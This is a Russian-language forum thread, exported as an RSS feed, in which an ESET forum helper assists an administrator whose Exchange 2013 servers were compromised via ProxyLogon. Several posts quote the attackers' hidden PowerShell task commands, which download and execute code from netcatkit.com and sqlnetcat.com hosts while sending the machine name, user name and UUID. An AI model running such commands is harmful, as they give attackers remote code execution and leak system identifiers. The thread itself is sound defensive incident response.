Форум esetnod32.ru [тема: запуск майнера на серверах с MS Exchange 2013] http://forum.esetnod32.ru Новое в теме запуск майнера на серверах с MS Exchange 2013 форума на сайте Форум esetnod32.ru [forum.esetnod32.ru] ru http://backend.userland.com/rss2 Thu, 23 Apr 2026 18:00:53 +0300 запуск майнера на серверах с MS Exchange 2013 запуск майнера на серверах с MS Exchange 2013 ProxyLogon в форуме Обнаружение вредоносного кода и ложные срабатывания.
Устранение уязвимостей Microsoft Exchange Server


====quote====
Партнеры по кибербезопасности и безопасности инфраструктуры (CISA) наблюдали активное использование уязвимостей в продуктах Microsoft Exchange Server. Успешное использование этих уязвимостей позволяет злоумышленнику, не прошедшему проверку подлинности, выполнить произвольный код на уязвимых серверах Exchange Server, что позволяет злоумышленнику получить постоянный доступ к системе, а также доступ к файлам и почтовым ящикам на сервере и учетным данным, хранящимся в этой системе. Успешная эксплуатация может дополнительно позволить злоумышленнику нарушить доверие и идентификацию в уязвимой сети. Microsoft выпустила внеполосные патчи для устранения уязвимостей в Microsoft Exchange Server. Уязвимости влияют на локальные серверы Microsoft Exchange и, как известно, не влияют на облачные почтовые службы Exchange Online или Microsoft 365 (ранее O365).

Это предупреждение включает в себя как тактику, методы и процедуры (TTP), так и индикаторы компрометации (IOC), связанные с этой злонамеренной деятельностью. Чтобы обезопасить себя от этой угрозы, CISA рекомендует организациям проверять свои системы на предмет наличия TTP и использовать IOC для обнаружения любых вредоносных действий. Если организация обнаруживает действия по эксплуатации, она должна предположить компрометацию сетевой идентичности и следовать процедурам реагирования на инциденты. Если организация не обнаруживает активности, она должна немедленно применить доступные исправления и реализовать меры по снижению риска, указанные в этом предупреждении.

=============
подробнее здесь:
https://us-cert.cisa.gov/ncas/alerts/aa21-062a
18.03.2021 16:49:17, santy.]]> http://forum.esetnod32.ru/messages/forum6/topic16364/message112166/ http://forum.esetnod32.ru/messages/forum6/topic16364/message112166/ Thu, 18 Mar 2021 16:49:17 +0300 Обнаружение вредоносного кода и ложные срабатывания запуск майнера на серверах с MS Exchange 2013 запуск майнера на серверах с MS Exchange 2013 ProxyLogon в форуме Обнаружение вредоносного кода и ложные срабатывания.
задачи, которые были запущены через powershell(Имя компьютера: SPHVMAIL01), проверьте так же наличие новых учетных записей в домене.


====quote====
Полное имя                  C:\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE
Имя файла                   POWERSHELL.EXE

Цифр. подпись               Действительна, подписано Microsoft Windows
                           
Оригинальное имя            PowerShell.EXE.MUI
Версия файла                6.3.9600.17396 (winblue_r4.141007-2030)
Описание                    Windows PowerShell
Производитель               Microsoft Corporation
                           
Доп. информация             на момент обновления списка
CmdLine                     -W HIDDEN -C I`EX ([SYSTEM.TEXT.ENCODING]::ASCII.GETSTRING((NEW-OBJECT NET.WEBCLIENT).DOWNLOADDATA('HTTP://'+'T.NET'+'CATKIT.COM/A.JSP?_20210317?'+(@($ENV:COMPUTERNAME,$ENV:USERNAME,(GET-WMIOBJECT WIN32_COMPUTERSYSTEMPRODUCT).UUID,(RANDOM))-JOIN'*'))))
CmdLine                     -C (NEW-OBJECT NET.WEBCLIENT).DOWNLOADSTRING('HTTP://'+'T.NET'+'CATKIT.COM/A.JSP?REP_20210317?'+(@($ENV:COMPUTERNAME,$ENV:USERNAME,(GET-WMIOBJECT WIN32_COMPUTERSYSTEMPRODUCT).UUID,(RANDOM))-JOIN'*'))
CmdLine                     -C (NEW-OBJECT NET.WEBCLIENT).DOWNLOADSTRING('HTTP://'+'T.NET'+'CATKIT.COM/A.JSP?REP_20210317?'+(@($ENV:COMPUTERNAME,$ENV:USERNAME,(GET-WMIOBJECT WIN32_COMPUTERSYSTEMPRODUCT).UUID,(RANDOM))-JOIN'*'))
CmdLine                     -W HIDDEN -C I`EX ([SYSTEM.TEXT.ENCODING]::ASCII.GETSTRING((NEW-OBJECT NET.WEBCLIENT).DOWNLOADDATA('HTTP://'+'T.SQL'+'NETCAT.COM/A.JSP?_20210317?'+(@($ENV:COMPUTERNAME,$ENV:USERNAME,(GET-WMIOBJECT WIN32_COMPUTERSYSTEMPRODUCT).UUID,(RANDOM))-JOIN'*'))))
CmdLine                     -C (NEW-OBJECT NET.WEBCLIENT).DOWNLOADSTRING('HTTP://'+'T.NET'+'CATKIT.COM/A.JSP?REP_20210317?'+(@($ENV:COMPUTERNAME,$ENV:USERNAME,(GET-WMIOBJECT WIN32_COMPUTERSYSTEMPRODUCT).UUID,(RANDOM))-JOIN'*'))
CmdLine                     -W HIDDEN -C I`EX ([SYSTEM.TEXT.ENCODING]::ASCII.GETSTRING((NEW-OBJECT NET.WEBCLIENT).DOWNLOADDATA('HTTP://'+'DOWN.'+'SQLNETCAT.COM/A.JSP?_20210317?'+(@($ENV:COMPUTERNAME,$ENV:USERNAME,(GET-WMIOBJECT WIN32_COMPUTERSYSTEMPRODUCT).UUID,(RANDOM))-JOIN'*'))))
SHA1                        9F1E24917EF96BBB339F4E2A226ACAFD1009F47B
MD5                         C031E215B8B08C752BF362F6D4C5D3AD
                           
Ссылки на объект            
Ссылка                      C:\WINDOWS\SYSTEM32\TASKS\A5TORJ3ZT
                           
Ссылка                      C:\WINDOWS\SYSTEM32\TASKS\AVCZOHW
                           
Ссылка                      C:\WINDOWS\SYSTEM32\TASKS\JCA9PD
                           
Ссылка                      C:\WINDOWS\SYSTEM32\TASKS\Microsoft\Windows\eUuwdKQkPqT\SMYVSZ­Y4OWX
                           
Ссылка                      C:\WINDOWS\SYSTEM32\TASKS\O6YM9I
                           
Ссылка                      C:\WINDOWS\SYSTEM32\TASKS\Xnqm40cRo\ZUPKUTWN

=============

18.03.2021 07:27:19, santy.]]> http://forum.esetnod32.ru/messages/forum6/topic16364/message112161/ http://forum.esetnod32.ru/messages/forum6/topic16364/message112161/ Thu, 18 Mar 2021 07:27:19 +0300 Обнаружение вредоносного кода и ложные срабатывания запуск майнера на серверах с MS Exchange 2013 запуск майнера на серверах с MS Exchange 2013 ProxyLogon в форуме Обнаружение вредоносного кода и ложные срабатывания.

====quote====
santy написал:
[QUOTE] Владимир Шариков написал:
Что этот код делает? Стоит ли боятся "Последствий" этой бяки?
=============
я думаю стоит.  эксплойт для ProxyLogon, по словам исследователей, мог использоваться в теч двух месяцев, до выхода мартовского обновления от Microsoft. (Возможно, была утечка эксплойта через поставщиков ПО, которые имеют ранний доступ к полученным сообщениям от исследователей)

====quote====
После выхода официальных исправлений даже для неподдерживаемых версий уязвимые серверы Microsoft Exchange, напрямую открытые в Интернете, стали еще более горячей целью, поскольку злоумышленники могли перепроектировать обновления для создания эксплойта.

ESET видела, что более 10 групп APT бросились атаковать непропатченные устройства. Многие из них занимались кибершпионажем, и в этот список входят Mikroceen и Tonto Team, но не все.

Исследователи заметили активность группы, которую они называют «Opera» Cobalt Strike, которая использовала уязвимости Microsoft Exchange для установки продукта для тестирования на проникновение Cobalt Strike, который является обычным для некоторых известных кибергрупп Ransomware.

В другом случае ESET заметил, что злоумышленник сбрасывает веб-оболочки, чтобы «установить так называемые бэкдоры IIS». Активность, приписываемая ботнету DLTMiner [1, 2], занимающемуся майнингом криптовалют, была замечена на серверах, которые были атакованы с помощью уязвимостей ProxyLogon.
=============


====quote====
Вице-президент Mandiant по анализу, Джон Халтквист, ожидает, что в ближайшее время банды вымогателей будут еще больше использовать уязвимости ProxyLogon, которые могут найти вектор атаки «особенно привлекательным», поскольку он является «эффективным средством получения доступа администратора домена».

«Этот доступ позволяет им развертывать шифрование на предприятии. В случаях, когда организации не исправлены, эти уязвимости предоставят преступникам более быстрый путь к успеху », - Джон Халтквист.
=============

более подробно, здесь
https://www.bleepingcomputer.com/news/security/the-microsoft-exchange-hacks-how-they-started-and-where-we-are/
18.03.2021 04:53:31, santy.]]> http://forum.esetnod32.ru/messages/forum6/topic16364/message112160/ http://forum.esetnod32.ru/messages/forum6/topic16364/message112160/ Thu, 18 Mar 2021 04:53:31 +0300 Обнаружение вредоносного кода и ложные срабатывания запуск майнера на серверах с MS Exchange 2013 запуск майнера на серверах с MS Exchange 2013 ProxyLogon в форуме Обнаружение вредоносного кода и ложные срабатывания.

====quote====
Владимир Шариков написал:
Еще вопрос. По той же проблеме. После этой бяки вот такое вылетает у пользователей (см. скриншот)
=============

это на клиентских системах происходит?
18.03.2021 04:44:05, santy.]]> http://forum.esetnod32.ru/messages/forum6/topic16364/message112158/ http://forum.esetnod32.ru/messages/forum6/topic16364/message112158/ Thu, 18 Mar 2021 04:44:05 +0300 Обнаружение вредоносного кода и ложные срабатывания запуск майнера на серверах с MS Exchange 2013 запуск майнера на серверах с MS Exchange 2013 ProxyLogon в форуме Обнаружение вредоносного кода и ложные срабатывания.

====quote====
Владимир Шариков написал:
Что этот код делает? Стоит ли боятся "Последствий" этой бяки?
=============

я думаю стоит. эксплойт для ProxyLogon, по словам исследователей, мог использоваться в теч двух месяцев, до выхода мартовского обновления от Microsoft. (Возможно, была утечка эксплойта через поставщиков ПО, которые имеют ранний доступ к полученным сообщениям от исследователей)


====quote====
После выхода официальных исправлений даже для неподдерживаемых версий уязвимые серверы Microsoft Exchange, напрямую открытые в Интернете, стали еще более горячей целью, поскольку злоумышленники могли перепроектировать обновления для создания эксплойта.

ESET видела, что более 10 групп APT бросились атаковать непропатченные устройства. Многие из них занимались кибершпионажем, и в этот список входят Mikroceen и Tonto Team, но не все.

Исследователи заметили активность группы, которую они называют «Opera» Cobalt Strike, которая использовала уязвимости Microsoft Exchange для установки продукта для тестирования на проникновение Cobalt Strike, который является обычным для некоторых известных кибергрупп Ransomware.

В другом случае ESET заметил, что злоумышленник сбрасывает веб-оболочки, чтобы «установить так называемые бэкдоры IIS». Активность, приписываемая ботнету DLTMiner [1, 2], занимающемуся майнингом криптовалют, была замечена на серверах, которые были атакованы с помощью уязвимостей ProxyLogon.

=============

более подробно, здесь
https://www.bleepingcomputer.com/news/security/the-microsoft-exchange-hacks-how-they-started-and-where-we-are/
18.03.2021 04:37:50, santy.]]> http://forum.esetnod32.ru/messages/forum6/topic16364/message112157/ http://forum.esetnod32.ru/messages/forum6/topic16364/message112157/ Thu, 18 Mar 2021 04:37:50 +0300 Обнаружение вредоносного кода и ложные срабатывания запуск майнера на серверах с MS Exchange 2013 запуск майнера на серверах с MS Exchange 2013 ProxyLogon в форуме Обнаружение вредоносного кода и ложные срабатывания.

====quote====
santy написал:
скриншот не увидел или не прикрепился
=============
да, теперь вижу. файл лучше отправить на virustotal.com для проверки другими антивирусами. возможно, и бэкдор
17.03.2021 18:22:27, santy.]]> http://forum.esetnod32.ru/messages/forum6/topic16364/message112147/ http://forum.esetnod32.ru/messages/forum6/topic16364/message112147/ Wed, 17 Mar 2021 18:22:27 +0300 Обнаружение вредоносного кода и ложные срабатывания запуск майнера на серверах с MS Exchange 2013 запуск майнера на серверах с MS Exchange 2013 ProxyLogon в форуме Обнаружение вредоносного кода и ложные срабатывания.

====quote====
Владимир Шариков написал:
твик 39 что то найти не могу, найду.Еще вопрос. По той же проблеме. После этой бяки вот такое вылетает у пользователей (см. скриншот)
=============

uVS - дополнительно-твики. твик 39 в низу окна.

скриншот не увидел или не прикрепился
17.03.2021 18:20:14, santy.]]> http://forum.esetnod32.ru/messages/forum6/topic16364/message112146/ http://forum.esetnod32.ru/messages/forum6/topic16364/message112146/ Wed, 17 Mar 2021 18:20:14 +0300 Обнаружение вредоносного кода и ложные срабатывания запуск майнера на серверах с MS Exchange 2013 запуск майнера на серверах с MS Exchange 2013 ProxyLogon в форуме Обнаружение вредоносного кода и ложные срабатывания.

====quote====
santy написал:
если будет возможность перегрузить сервера,
выполните в uVS вначале твик 39, потом перегрузить систему, потом еще раз снять в uVS образы автозапуска, для проверки,
возможно получиться увидеть, кто  эти задачи создает.
(при условии, конечно, если они будут воссозданы)

 
=============
твик 39 что то найти не могу, найду.
Еще вопрос. По той же проблеме. После этой бяки вот такое вылетает у пользователей (см. скриншот)

17.03.2021 18:15:38, Владимир Шариков.]]> http://forum.esetnod32.ru/messages/forum6/topic16364/message112145/ http://forum.esetnod32.ru/messages/forum6/topic16364/message112145/ Wed, 17 Mar 2021 18:15:38 +0300 Обнаружение вредоносного кода и ложные срабатывания запуск майнера на серверах с MS Exchange 2013 запуск майнера на серверах с MS Exchange 2013 ProxyLogon в форуме Обнаружение вредоносного кода и ложные срабатывания.
если будет возможность перегрузить сервера,
выполните в uVS вначале твик 39, потом перегрузить систему, потом еще раз снять в uVS образы автозапуска, для проверки,
возможно получиться увидеть, кто  эти задачи создает.
(при условии, конечно, если они будут воссозданы)

[FILE ID=118952]

17.03.2021 17:58:21, santy.]]> http://forum.esetnod32.ru/messages/forum6/topic16364/message112144/ http://forum.esetnod32.ru/messages/forum6/topic16364/message112144/ Wed, 17 Mar 2021 17:58:21 +0300 Обнаружение вредоносного кода и ложные срабатывания запуск майнера на серверах с MS Exchange 2013 запуск майнера на серверах с MS Exchange 2013 ProxyLogon в форуме Обнаружение вредоносного кода и ложные срабатывания.
по второму серверу:

выполняем скрипт в uVS:
- скопировать содержимое кода в буфер обмена;
- стартуем uVS(start.exe), далее выбираем: текущий пользователь, меню - скрипты - выполнить скрипт из буфера обмена;
- закрываем все браузеры перед выполнением скрипта;
====code==== 

;uVS v4.11.6 [http://dsrt.dyndns.org:8888]
;Target OS: NTv6.3
v400c
OFFSGNSAVE
;---------command-block---------
deltsk NET.WEBCLIENT).DOWNLOADDATA('HTTP://'+'DOWN.'+'SQLNETCAT.COM/A.JSP?_20210317?'+(@($ENV:COMPUTERNAME,$ENV:USERNAME,(GET-WMIOBJECT
deltsk NET.WEBCLIENT).DOWNLOADDATA('HTTP://'+'T.NET'+'CATKIT.COM/A.JSP?_20210317?'+(@($ENV:COMPUTERNAME,$ENV:USERNAME,(GET-WMIOBJECT
deltsk NET.WEBCLIENT).DOWNLOADDATA('HTTP://'+'T.SQL'+'NETCAT.COM/A.JSP?_20210317?'+(@($ENV:COMPUTERNAME,$ENV:USERNAME,(GET-WMIOBJECT
deltsk NET.WEBCLIENT).DOWNLOADSTRING('HTTP://'+'T.NET'+'CATKIT.COM/A.JSP?REP_20210317?'+(@($ENV:COMPUTERNAME,$ENV:USERNAME,(GET-WMIOBJECT
deltsk T.NETCATKIT.COM
delwmi NET.WEBCLIENT).DOWNLOADDATA('HTTP://'+'DOWN.'+'SQLNETCAT.COM/AA.JSP?_20210317?'+(@($ENV:COMPUTERNAME,$ENV:USERNAME,(GET-WMIOBJECT
delwmi NET.WEBCLIENT).DOWNLOADDATA('HTTP://'+'T.NET'+'CATKIT.COM/AA.JSP?_20210317?'+(@($ENV:COMPUTERNAME,$ENV:USERNAME,(GET-WMIOBJECT
delwmi NET.WEBCLIENT).DOWNLOADDATA('HTTP://'+'T.SQL'+'NETCAT.COM/AA.JSP?_20210317?'+(@($ENV:COMPUTERNAME,$ENV:USERNAME,(GET-WMIOBJECT
delwmi NET.WEBCLIENT).DOWNLOADSTRING('HTTP://'+'T.NET'+'CATKIT.COM/AA.JSP?REP_20210317?'+(@($ENV:COMPUTERNAME,$ENV:USERNAME,(GET-WMIOBJECT
apply

QUIT
=============
без перезагрузка, пишем о старых и новых проблемах.
------------
17.03.2021 17:54:46, santy.]]> http://forum.esetnod32.ru/messages/forum6/topic16364/message112143/ http://forum.esetnod32.ru/messages/forum6/topic16364/message112143/ Wed, 17 Mar 2021 17:54:46 +0300 Обнаружение вредоносного кода и ложные срабатывания запуск майнера на серверах с MS Exchange 2013 запуск майнера на серверах с MS Exchange 2013 ProxyLogon в форуме Обнаружение вредоносного кода и ложные срабатывания.

====quote====
santy написал:

====quote====
 Владимир  Шариков  написал:

====quote====
 santy  написал:

====quote====
 Владимир  Шариков  написал:
Положу сюда сразу два образа двух серверов.
=============
можно и второй образ положить
=============

=============
по второму серверу:
это нормальный софт?
C:\PROGRAM FILES\WIN-ACME\WACS.EXE
--RENEW --BASEURI "HTTPS://ACME-V02.API.LETSENCRYPT.ORG/"
=============
Да, это сертификаты обновляет.  
17.03.2021 17:52:53, Владимир Шариков.]]> http://forum.esetnod32.ru/messages/forum6/topic16364/message112142/ http://forum.esetnod32.ru/messages/forum6/topic16364/message112142/ Wed, 17 Mar 2021 17:52:53 +0300 Обнаружение вредоносного кода и ложные срабатывания запуск майнера на серверах с MS Exchange 2013 запуск майнера на серверах с MS Exchange 2013 ProxyLogon в форуме Обнаружение вредоносного кода и ложные срабатывания.

====quote====
Владимир Шариков написал:

====quote====
 santy  написал:

====quote====
 Владимир  Шариков  написал:
Положу сюда сразу два образа двух серверов.
=============
можно и второй образ положить
=============

=============

по второму серверу:
это нормальный софт?
C:\PROGRAM FILES\WIN-ACME\WACS.EXE
--RENEW --BASEURI "HTTPS://ACME-V02.API.LETSENCRYPT.ORG/"
17.03.2021 17:50:43, santy.]]> http://forum.esetnod32.ru/messages/forum6/topic16364/message112141/ http://forum.esetnod32.ru/messages/forum6/topic16364/message112141/ Wed, 17 Mar 2021 17:50:43 +0300 Обнаружение вредоносного кода и ложные срабатывания запуск майнера на серверах с MS Exchange 2013 запуск майнера на серверах с MS Exchange 2013 ProxyLogon в форуме Обнаружение вредоносного кода и ложные срабатывания.

====quote====
santy написал:

====quote====
 Владимир  Шариков  написал:
Положу сюда сразу два образа двух серверов.
=============
можно и второй образ положить
=============

IZTVMAIL01_2021-03-17_16-52-35_v4.11.6.7z
17.03.2021 17:45:03, Владимир Шариков.]]> http://forum.esetnod32.ru/messages/forum6/topic16364/message112140/ http://forum.esetnod32.ru/messages/forum6/topic16364/message112140/ Wed, 17 Mar 2021 17:45:03 +0300 Обнаружение вредоносного кода и ложные срабатывания запуск майнера на серверах с MS Exchange 2013 запуск майнера на серверах с MS Exchange 2013 ProxyLogon в форуме Обнаружение вредоносного кода и ложные срабатывания.

====quote====
Владимир Шариков написал:
Положу сюда сразу два образа двух серверов.
=============

можно и второй образ положить
17.03.2021 17:37:31, santy.]]> http://forum.esetnod32.ru/messages/forum6/topic16364/message112139/ http://forum.esetnod32.ru/messages/forum6/topic16364/message112139/ Wed, 17 Mar 2021 17:37:31 +0300 Обнаружение вредоносного кода и ложные срабатывания запуск майнера на серверах с MS Exchange 2013 запуск майнера на серверах с MS Exchange 2013 ProxyLogon в форуме Обнаружение вредоносного кода и ложные срабатывания.
выполните в uVS скрипт для очистки задач, без перезагрузки системы: поправил скрипт

====code==== 
 ;uVS v4.11.6 [http://dsrt.dyndns.org:8888]
;Target OS: NTv6.3
v400c
OFFSGNSAVE
;---------command-block---------
deltsk NET.WEBCLIENT).DOWNLOADDATA('HTTP://'+'DOWN.'+'SQLNETCAT.COM/A.JSP?_20210317?'+(@($ENV:COMPUTERNAME,$ENV:USERNAME,(GET-WMIOBJECT
deltsk NET.WEBCLIENT).DOWNLOADDATA('HTTP://'+'T.NET'+'CATKIT.COM/A.JSP?_20210317?'+(@($ENV:COMPUTERNAME,$ENV:USERNAME,(GET-WMIOBJECT
deltsk NET.WEBCLIENT).DOWNLOADDATA('HTTP://'+'T.SQL'+'NETCAT.COM/A.JSP?_20210317?'+(@($ENV:COMPUTERNAME,$ENV:USERNAME,(GET-WMIOBJECT
deltsk NET.WEBCLIENT).DOWNLOADSTRING('HTTP://'+'T.NET'+'CATKIT.COM/A.JSP?REP_20210317?'+(@($ENV:COMPUTERNAME,$ENV:USERNAME,(GET-WMIOBJECT
deltsk T.NETCATKIT.COM
delwmi NET.WEBCLIENT).DOWNLOADDATA('HTTP://'+'DOWN.'+'SQLNETCAT.COM/AA.JSP?_20210317?'+(@($ENV:COMPUTERNAME,$ENV:USERNAME,(GET-WMIOBJECT
delwmi NET.WEBCLIENT).DOWNLOADDATA('HTTP://'+'T.NET'+'CATKIT.COM/AA.JSP?_20210317?'+(@($ENV:COMPUTERNAME,$ENV:USERNAME,(GET-WMIOBJECT
delwmi NET.WEBCLIENT).DOWNLOADDATA('HTTP://'+'T.SQL'+'NETCAT.COM/AA.JSP?_20210317?'+(@($ENV:COMPUTERNAME,$ENV:USERNAME,(GET-WMIOBJECT
delwmi NET.WEBCLIENT).DOWNLOADSTRING('HTTP://'+'T.NET'+'CATKIT.COM/AA.JSP?REP_20210317?'+(@($ENV:COMPUTERNAME,$ENV:USERNAME,(GET-WMIOBJECT

apply

QUIT
=============
17.03.2021 17:33:02, santy.]]> http://forum.esetnod32.ru/messages/forum6/topic16364/message112138/ http://forum.esetnod32.ru/messages/forum6/topic16364/message112138/ Wed, 17 Mar 2021 17:33:02 +0300 Обнаружение вредоносного кода и ложные срабатывания запуск майнера на серверах с MS Exchange 2013 запуск майнера на серверах с MS Exchange 2013 ProxyLogon в форуме Обнаружение вредоносного кода и ложные срабатывания.

====quote====
santy написал:
сервер можно будет перегрузить (скриптом)?
=============
Через пол часа можно будет.

====quote====
santy написал:

====quote====
 Владимир  Шариков  написал:
Что этот код делает? Стоит ли боятся "Последствий" этой бяки?
=============
шифрованный код. понятно, что расшифровывается на вашей системе, или наоборот в зашифрованном виде уходит в сеть
=============
Как его возможно расшифровать? Нужно понять что хакер хотел добиться. Как мы поняли хекер воспользовался уявимостью, при обращение к екчанджу происходит срабатывания нескольких скриптов (каких мы не знаем). Но заметили что меняются ДНСы сервера.

====quote====
santy написал:
есть задачи, через которые возможно пытаются перехватить пароли.

====quote====
C:\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE
-W HIDDEN -C I`EX ([SYSTEM.TEXT.ENCODING]::ASCII.GETSTRING((NEW-OBJECT NET.WEBCLIENT).DOWNLOADDATA('HTTP://'+'DOWN.'+'SQLNETCAT.COM/A.JSP?_20210317?'+(@($ENV:COMPUTERNAME,$ENV:USERNAME,(GET-WMIOBJECT WIN32_COMPUTERSYSTEMPRODUCT).UUID,(RANDOM))-JOIN'*'))))
=============

=============
Вот это слово "Возможно" пугает ))) Тут как я понимаю срабатывает Имя ПК, Индефикатор, и имя пользователя.
17.03.2021 17:32:08, Владимир Шариков.]]> http://forum.esetnod32.ru/messages/forum6/topic16364/message112137/ http://forum.esetnod32.ru/messages/forum6/topic16364/message112137/ Wed, 17 Mar 2021 17:32:08 +0300 Обнаружение вредоносного кода и ложные срабатывания запуск майнера на серверах с MS Exchange 2013 запуск майнера на серверах с MS Exchange 2013 ProxyLogon в форуме Обнаружение вредоносного кода и ложные срабатывания.
Экстренные исправления для недавно обнаруженных критических уязвимостей в почтовом сервере Microsoft Exchange появились не сразу, и у организаций было мало времени на подготовку до начала массовой эксплуатации.

Эта ошибка, получившая название ProxyLogon, использовалась в дикой природе еще до того, как Microsoft получила отчет об уязвимости, что дает злоумышленникам двухмесячный старт для взлома целей до появления обновлений безопасности.

Уязвимые серверы являются горячими целями для широкого спектра групп злоумышленников, которые ищут исходную точку опоры в сети для шпионажа или финансовых целей. Злоумышленники, Ransomware и майнинг криптовалют уже использовали ProxyLogon.

С выпущенными исправлениями и появлением кода эксплойта PoC в сети тысячи серверов Microsoft Exchange по всему миру продолжают оставаться уязвимыми, а количество атак по-прежнему вызывает тревогу.

https://www.bleepingcomputer.com/news/security/the-microsoft-exchange-hacks-how-they-started-and-where-we-are/
17.03.2021 17:30:04, santy.]]> http://forum.esetnod32.ru/messages/forum6/topic16364/message112136/ http://forum.esetnod32.ru/messages/forum6/topic16364/message112136/ Wed, 17 Mar 2021 17:30:04 +0300 Обнаружение вредоносного кода и ложные срабатывания запуск майнера на серверах с MS Exchange 2013 запуск майнера на серверах с MS Exchange 2013 ProxyLogon в форуме Обнаружение вредоносного кода и ложные срабатывания.

====quote====
Владимир Шариков написал:
Что этот код делает? Стоит ли боятся "Последствий" этой бяки?
=============
шифрованный код. понятно, что расшифровывается на вашей системе, или наоборот в зашифрованном виде уходит в сеть

сервера похоже, китайские
[FILE ID=118960]

это зависит от  того, как долго данные задачи работали на серверах. возможно установили бэкдоры, возможно сливали почтуЮ возможно, пытались получить данные из Active Directory, возможно готовились к шифрованию доступных узлов из сети.

стоит конечно тщательно отсканировать клиентские системы и другие сервера, в том числе контроллеры домена.

17.03.2021 17:24:49, santy.]]> http://forum.esetnod32.ru/messages/forum6/topic16364/message112135/ http://forum.esetnod32.ru/messages/forum6/topic16364/message112135/ Wed, 17 Mar 2021 17:24:49 +0300 Обнаружение вредоносного кода и ложные срабатывания запуск майнера на серверах с MS Exchange 2013 запуск майнера на серверах с MS Exchange 2013 ProxyLogon в форуме Обнаружение вредоносного кода и ложные срабатывания.
сервер можно будет перегрузить (скриптом)?
17.03.2021 17:23:44, santy.]]> http://forum.esetnod32.ru/messages/forum6/topic16364/message112134/ http://forum.esetnod32.ru/messages/forum6/topic16364/message112134/ Wed, 17 Mar 2021 17:23:44 +0300 Обнаружение вредоносного кода и ложные срабатывания запуск майнера на серверах с MS Exchange 2013 запуск майнера на серверах с MS Exchange 2013 ProxyLogon в форуме Обнаружение вредоносного кода и ложные срабатывания.
Вот это не ясно http://t.netcatkit.com/a.jsp?_20210317? :
Скрытый текст
Что этот код делает? Стоит ли боятся "Последствий" этой бяки?
17.03.2021 17:14:21, Владимир Шариков.]]> http://forum.esetnod32.ru/messages/forum6/topic16364/message112133/ http://forum.esetnod32.ru/messages/forum6/topic16364/message112133/ Wed, 17 Mar 2021 17:14:21 +0300 Обнаружение вредоносного кода и ложные срабатывания запуск майнера на серверах с MS Exchange 2013 запуск майнера на серверах с MS Exchange 2013 ProxyLogon в форуме Обнаружение вредоносного кода и ложные срабатывания.
Да.  
17.03.2021 17:11:16, Владимир Шариков.]]> http://forum.esetnod32.ru/messages/forum6/topic16364/message112132/ http://forum.esetnod32.ru/messages/forum6/topic16364/message112132/ Wed, 17 Mar 2021 17:11:16 +0300 Обнаружение вредоносного кода и ложные срабатывания запуск майнера на серверах с MS Exchange 2013 запуск майнера на серверах с MS Exchange 2013 ProxyLogon в форуме Обнаружение вредоносного кода и ложные срабатывания.
сервер удаленного управления сами ставили?
C:\PROGRAM FILES (X86)\LITEMANAGER PRO - SERVER\ROMSERVER.EXE

есть задачи, через которые возможно пытаются перехватить пароли.

====quote====
C:\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE
-W HIDDEN -C I`EX ([SYSTEM.TEXT.ENCODING]::ASCII.GETSTRING((NEW-OBJECT NET.WEBCLIENT).DOWNLOADDATA('HTTP://'+'DOWN.'+'SQLNETCAT.COM/A.JSP?_20210317?'+(@($ENV:COMPUTERNAME,$ENV:USERNAME,(GET-WMIOBJECT WIN32_COMPUTERSYSTEMPRODUCT).UUID,(RANDOM))-JOIN'*'))))
=============

update: возможно, здесь выполняется скачивание зашифрованного скрипта с адреса DOWN.SQLNETCAT.COM, (причем судя по префиксу 20210317 он может обновляться), а далее, powershell.exe его расшифровывает, и выполняет.
17.03.2021 17:10:12, santy.]]> http://forum.esetnod32.ru/messages/forum6/topic16364/message112131/ http://forum.esetnod32.ru/messages/forum6/topic16364/message112131/ Wed, 17 Mar 2021 17:10:12 +0300 Обнаружение вредоносного кода и ложные срабатывания запуск майнера на серверах с MS Exchange 2013 запуск майнера на серверах с MS Exchange 2013 ProxyLogon в форуме Обнаружение вредоносного кода и ложные срабатывания.
Здравствуйте. MS Exchange 2013 поймали заразу на двух серверах. Прошу проверить. Удалять сам не стал из "шидулера", реестра. Обновления на двух серверах уже установили, закрывающую уязвимость. Если будут еще какие то комментарии напишите пожалуйста.
Положу сюда сразу два образа двух серверов. Если необходимо могу тему скопировать, по одному образу выложу.
SPHVMAIL01_2021-03-17_16-33-37_v4.11.6.7z
17.03.2021 16:49:30, Владимир Шариков.]]> http://forum.esetnod32.ru/messages/forum6/topic16364/message112130/ http://forum.esetnod32.ru/messages/forum6/topic16364/message112130/ Wed, 17 Mar 2021 16:49:30 +0300 Обнаружение вредоносного кода и ложные срабатывания